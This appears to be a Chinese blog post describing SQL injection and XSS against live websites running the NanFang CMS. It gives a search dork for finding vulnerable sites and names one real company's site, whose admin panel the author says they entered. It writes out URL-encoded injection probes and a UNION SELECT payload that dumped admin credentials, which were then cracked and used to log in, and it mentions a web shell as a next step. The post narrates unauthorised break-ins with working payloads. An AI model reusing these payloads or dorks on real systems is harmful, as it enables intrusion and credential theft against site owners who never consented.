SQL注入之南方0day

关键词:     inurl:"HomeMarket.asp"

第一个杭州开泰实际上已经不能愉快的玩耍了，于是很幸运的找到一个可以拿来玩耍的，具体不上图。

当然，登进去后看了看后台的ip记录，也已经被光顾了无数次，都快被玩烂了

剩下的一些要么装了安全狗，要么就是创宇的防火墙。

另外测了一下杭州开泰那个网站的“联系我们”的XSS，依然存在。

效果如图：

接下来记录一下另一个站的注入：

首先，在首页后加NewsType.asp?SmallClass=%27%20and%20%271%27=%271,发现正常。

然后构造如下注入NewsType.asp?SmallClass=%27%20and%20%271%27=%272，报错。

之后照着教程输入'    and    1=2    union    select    1,2,3,4,5,6,7,8,9,0    from    admin    where    '1'='1

发现无卵用，于是猜想admin的表结构改了，于是将0改为10，并加到11，然后账号和密码就爆出来了，送到SOMD5破解之后就登上去了。只不过我没继续上传一句话尝试拿shell。教程毕竟是教程，新手学习千万不能生搬硬套，得针对情况作出改变。